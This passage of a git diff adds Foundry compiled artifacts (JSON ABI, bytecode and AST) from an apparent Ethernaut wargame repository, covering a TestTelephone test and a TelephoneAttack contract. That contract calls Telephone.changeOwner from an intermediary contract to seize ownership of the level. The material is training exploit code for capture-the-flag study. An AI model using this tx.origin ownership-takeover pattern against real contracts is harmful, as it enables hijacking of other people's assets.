1000000000000000"},"value":"0.001"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"}],"id":64654,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1243:19:148","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":64663,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1243:68:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":64653,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1235:8:148","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":64652,"name":"address","nodeType":"ElementaryTypeName","src":"1235:8:148","stateMutability":"payable","typeDescriptions":{}}},"id":64664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1235:77:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64651,"name":"Telephone","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55314,"src":"1225:9:148","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Telephone_$55314_$","typeString":"type(contract Telephone)"}},"id":64665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1225:88:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"src":"1214:99:148","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"id":64667,"nodeType":"ExpressionStatement","src":"1214:99:148"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":64668,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1323:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64670,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1326:9:148","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1323:12:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":64671,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1323:14:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64672,"nodeType":"ExpressionStatement","src":"1323:14:148"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"748:5:148","parameters":{"id":64573,"nodeType":"ParameterList","parameters":[],"src":"753:2:148"},"returnParameters":{"id":64574,"nodeType":"ParameterList","parameters":[],"src":"763:0:148"},"scope":64735,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64695,"nodeType":"FunctionDefinition","src":"1596:137:148","nodes":[],"body":{"id":64694,"nodeType":"Block","src":"1623:110:148","nodes":[],"statements":[{"expression":{"arguments":[{"id":64681,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64572,"src":"1647:6:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64678,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1633:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64680,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1636:10:148","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1633:13:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1633:21:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64683,"nodeType":"ExpressionStatement","src":"1633:21:148"},{"expression":{"arguments":[{"arguments":[{"id":64686,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64565,"src":"1696:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64689,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64568,"src":"1715:8:148","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}],"id":64688,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1707:7:148","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64687,"name":"address","nodeType":"ElementaryTypeName","src":"1707:7:148","typeDescriptions":{}}},"id":64690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1707:17:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64685,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1676:19:148","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64691,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1676:49:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64684,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1664:11:148","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64692,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1664:62:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64693,"nodeType":"ExpressionStatement","src":"1664:62:148"}]},"documentation":{"id":64675,"nodeType":"StructuredDocumentation","src":"1528:63:148","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1605:8:148","parameters":{"id":64676,"nodeType":"ParameterList","parameters":[],"src":"1613:2:148"},"returnParameters":{"id":64677,"nodeType":"ParameterList","parameters":[],"src":"1623:0:148"},"scope":64735,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":64734,"nodeType":"FunctionDefinition","src":"1788:249:148","nodes":[],"body":{"id":64733,"nodeType":"Block","src":"1816:221:148","nodes":[],"statements":[{"expression":{"arguments":[{"id":64702,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64572,"src":"1840:6:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64699,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1826:2:148","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64701,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1829:10:148","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1826:13:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1826:21:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64704,"nodeType":"ExpressionStatement","src":"1826:21:148"},{"assignments":[64707],"declarations":[{"constant":false,"id":64707,"mutability":"mutable","name":"attacker","nameLocation":"1874:8:148","nodeType":"VariableDeclaration","scope":64733,"src":"1858:24:148","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneAttack_$49829","typeString":"contract TelephoneAttack"},"typeName":{"id":64706,"nodeType":"UserDefinedTypeName","pathNode":{"id":64705,"name":"TelephoneAttack","nameLocations":["1858:15:148"],"nodeType":"IdentifierPath","referencedDeclaration":49829,"src":"1858:15:148"},"referencedDeclaration":49829,"src":"1858:15:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneAttack_$49829","typeString":"contract TelephoneAttack"}},"visibility":"internal"}],"id":64712,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":64710,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1885:19:148","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_TelephoneAttack_$49829_$","typeString":"function () returns (contract TelephoneAttack)"},"typeName":{"id":64709,"nodeType":"UserDefinedTypeName","pathNode":{"id":64708,"name":"TelephoneAttack","nameLocations":["1889:15:148"],"nodeType":"IdentifierPath","referencedDeclaration":49829,"src":"1889:15:148"},"referencedDeclaration":49829,"src":"1889:15:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneAttack_$49829","typeString":"contract TelephoneAttack"}}},"id":64711,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1885:21:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneAttack_$49829","typeString":"contract TelephoneAttack"}},"nodeType":"VariableDeclarationStatement","src":"1858:48:148"},{"expression":{"arguments":[{"arguments":[{"id":64718,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64568,"src":"1940:8:148","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}],"id":64717,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1932:7:148","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64716,"name":"address","nodeType":"ElementaryTypeName","src":"1932:7:148","typeDescriptions":{}}},"id":64719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1932:17:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":64720,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64572,"src":"1951:6:148","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64713,"name":"attacker","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64707,"src":"1916:8:148","typeDescriptions":{"typeIdentifier":"t_contract$_TelephoneAttack_$49829","typeString":"contract TelephoneAttack"}},"id":64715,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1925:6:148","memberName":"attack","nodeType":"MemberAccess","referencedDeclaration":49828,"src":"1916:15:148","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":64721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1916:42:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64722,"nodeType":"ExpressionStatement","src":"1916:42:148"},{"expression":{"arguments":[{"arguments":[{"id":64725,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64565,"src":"2000:9:148","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":64728,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64568,"src":"2019:8:148","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}],"id":64727,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2011:7:148","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":64726,"name":"address","nodeType":"ElementaryTypeName","src":"2011:7:148","typeDescriptions":{}}},"id":64729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2011:17:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":64724,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1980:19:148","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":64730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1980:49:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":64723,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"1969:10:148","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":64731,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1969:61:148","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64732,"nodeType":"ExpressionStatement","src":"1969:61:148"}]},"documentation":{"id":64696,"nodeType":"StructuredDocumentation","src":"1739:44:148","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1797:9:148","parameters":{"id":64697,"nodeType":"ParameterList","parameters":[],"src":"1806:2:148"},"returnParameters":{"id":64698,"nodeType":"ParameterList","parameters":[],"src":"1816:0:148"},"scope":64735,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":64559,"name":"Test","nameLocations":["435:4:148"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"435:4:148"},"id":64560,"nodeType":"InheritanceSpecifier","src":"435:4:148"},{"baseName":{"id":64561,"name":"Utils","nameLocations":["441:5:148"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"441:5:148"},"id":64562,"nodeType":"InheritanceSpecifier","src":"441:5:148"}],"canonicalName":"TestTelephone","contractDependencies":[49101,49829,55369,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[64735,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestTelephone","nameLocation":"418:13:148","scope":64736,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":148} \ No newline at end of file diff --git a/contracts/out/TelephoneAttack.sol/TelephoneAttack.json b/contracts/out/TelephoneAttack.sol/TelephoneAttack.json new file mode 100644 index 000000000..934d44904 --- /dev/null +++ b/contracts/out/TelephoneAttack.sol/TelephoneAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"attack","inputs":[{"name":"_victim","type":"address","internalType":"address"},{"name":"_owner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101558061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046100ee565b610042565b005b6040517fa6f9dae100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff828116600483015283919082169063a6f9dae1906024015f604051808303815f87803b1580156100ab575f80fd5b505af11580156100bd573d5f803e3d5ffd5b50505050505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146100e9575f80fd5b919050565b5f80604083850312156100ff575f80fd5b610108836100c6565b9150610116602084016100c6565b9050925092905056fea26469706673582212206fe8c21aa6cb5980f13492ad9017d2fbd70030acfd0c27381463c144687db99364736f6c63430008180033","sourceMap":"93:185:57:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046100ee565b610042565b005b6040517fa6f9dae100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff828116600483015283919082169063a6f9dae1906024015f604051808303815f87803b1580156100ab575f80fd5b505af11580156100bd573d5f803e3d5ffd5b50505050505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146100e9575f80fd5b919050565b5f80604083850312156100ff575f80fd5b610108836100c6565b9150610116602084016100c6565b9050925092905056fea26469706673582212206fe8c21aa6cb5980f13492ad9017d2fbd70030acfd0c27381463c144687db99364736f6c63430008180033","sourceMap":"93:185:57:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;124:152;;;;;;:::i;:::-;;:::i;:::-;;;240:29;;;;;:21;644:55:155;;;240:29:57;;;626:74:155;222:7:57;;240:21;;;;;;599:18:155;;240:29:57;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;180:96;124:152;;:::o;14:196:155:-;82:20;;142:42;131:54;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:260::-;283:6;291;344:2;332:9;323:7;319:23;315:32;312:52;;;360:1;357;350:12;312:52;383:29;402:9;383:29;:::i;:::-;373:39;;431:38;465:2;454:9;450:18;431:38;:::i;:::-;421:48;;215:260;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"attack(address,address)":"3c48664c"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_victim\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"attack\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/TelephoneAttack.sol\":\"TelephoneAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/TelephoneAttack.sol\":{\"keccak256\":\"0x743f1a1db02777b23d24acbc3e6da556c447c967496130e9a0438f64b0b11b13\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e22b1b600c36802d83b094c5a8138e029dfed6b307f311c2c0fb88eba4e0af6c\",\"dweb:/ipfs/QmPx7rbTNhVSKZCJjVCBSLbNmKNbyP4GBJpNHpjCb11DXn\"]},\"src/levels/Telephone.sol\":{\"keccak256\":\"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1\",\"dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_victim","type":"address"},{"internalType":"address","name":"_owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"attack"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/TelephoneAttack.sol":"TelephoneAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/TelephoneAttack.sol":{"keccak256":"0x743f1a1db02777b23d24acbc3e6da556c447c967496130e9a0438f64b0b11b13","urls":["bzz-raw://e22b1b600c36802d83b094c5a8138e029dfed6b307f311c2c0fb88eba4e0af6c","dweb:/ipfs/QmPx7rbTNhVSKZCJjVCBSLbNmKNbyP4GBJpNHpjCb11DXn"],"license":"MIT"},"src/levels/Telephone.sol":{"keccak256":"0xa4fd1de634a0a23ddb2062807a003081821701f1c5d441a0a4427ca7b57cf170","urls":["bzz-raw://1881bf7750a7ebd8c5a9239f6e5c72b97d97ec9612e80608e7199d3d9ea2c7b1","dweb:/ipfs/QmUJL2Um5nMWYjxpa7gBTpeQUeDGi7Sr8uBo9YAixARiDZ"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/TelephoneAttack.sol","id":49830,"exportedSymbols":{"Telephone":[55314],"TelephoneAttack":[49829]},"nodeType":"SourceUnit","src":"33:246:57","nodes":[{"id":49806,"nodeType":"PragmaDirective","src":"33:23:57","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49807,"nodeType":"ImportDirective","src":"58:33:57","nodes":[],"absolutePath":"src/levels/Telephone.sol","file":"../levels/Telephone.sol","nameLocation":"-1:-1:-1","scope":49830,"sourceUnit":55315,"symbolAliases":[],"unitAlias":""},{"id":49829,"nodeType":"ContractDefinition","src":"93:185:57","nodes":[{"id":49828,"nodeType":"FunctionDefinition","src":"124:152:57","nodes":[],"body":{"id":49827,"nodeType":"Block","src":"180:96:57","nodes":[],"statements":[{"assignments":[49816],"declarations":[{"constant":false,"id":49816,"mutability":"mutable","name":"telephone","nameLocation":"200:9:57","nodeType":"VariableDeclaration","scope":49827,"src":"190:19:57","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"},"typeName":{"id":49815,"nodeType":"UserDefinedTypeName","pathNode":{"id":49814,"name":"Telephone","nameLocations":["190:9:57"],"nodeType":"IdentifierPath","referencedDeclaration":55314,"src":"190:9:57"},"referencedDeclaration":55314,"src":"190:9:57","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"visibility":"internal"}],"id":49820,"initialValue":{"arguments":[{"id":49818,"name":"_victim","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49809,"src":"222:7:57","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49817,"name":"Telephone","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55314,"src":"212:9:57","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Telephone_$55314_$","typeString":"type(contract Telephone)"}},"id":49819,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"212:18:57","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"nodeType":"VariableDeclarationStatement","src":"190:40:57"},{"expression":{"arguments":[{"id":49824,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49811,"src":"262:6:57","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49821,"name":"telephone","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49816,"src":"240:9:57","typeDescriptions":{"typeIdentifier":"t_contract$_Telephone_$55314","typeString":"contract Telephone"}},"id":49823,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"250:11:57","memberName":"changeOwner","nodeType":"MemberAccess","referencedDeclaration":55313,"src":"240:21:57","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":49825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"240:29:57","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":49826,"nodeType":"ExpressionStatement","src":"240:29:57"}]},"functionSelector":"3c48664c","implemented":true,"kind":"function","modifiers":[],"name":"attack","nameLocation":"133:6:57","parameters":{"id":49812,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49809,"mutability":"mutable","name":"_victim","nameLocation":"148:7:57","nodeType":"VariableDeclaration","scope":49828,"src":"140:15:57","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49808,"name":"address","nodeType":"ElementaryTypeName","src":"140:7:57","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49811,"mutability":"mutable","name":"_owner","nameLocation":"165:6:57","nodeType":"VariableDeclaration","scope":49828,"src":"157:14:57","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49810,"name":"address","nodeType":"ElementaryTypeName","src":"157:7:57","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"139:33:57"},"returnParameters":{"id":49813,"nodeType":"ParameterList","parameters":[],"src":"180:0:57"},"scope":49829,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"TelephoneAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49829],"name":"TelephoneAttack","nameLocation":"102:15:57","scope":49830,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":57} \ No newline at end of file diff --git a/contracts/out/TelephoneFactory.sol/TelephoneFactory.json b/contracts/out/TelephoneFactory.sol/TelephoneFactory.json new file mode 100644 index 000000000..ecf5933d2 --- /dev/null +++ b/contracts/out/TelephoneFactory.sol/TelephoneFactory.json @@ -0,0 +1 @@ 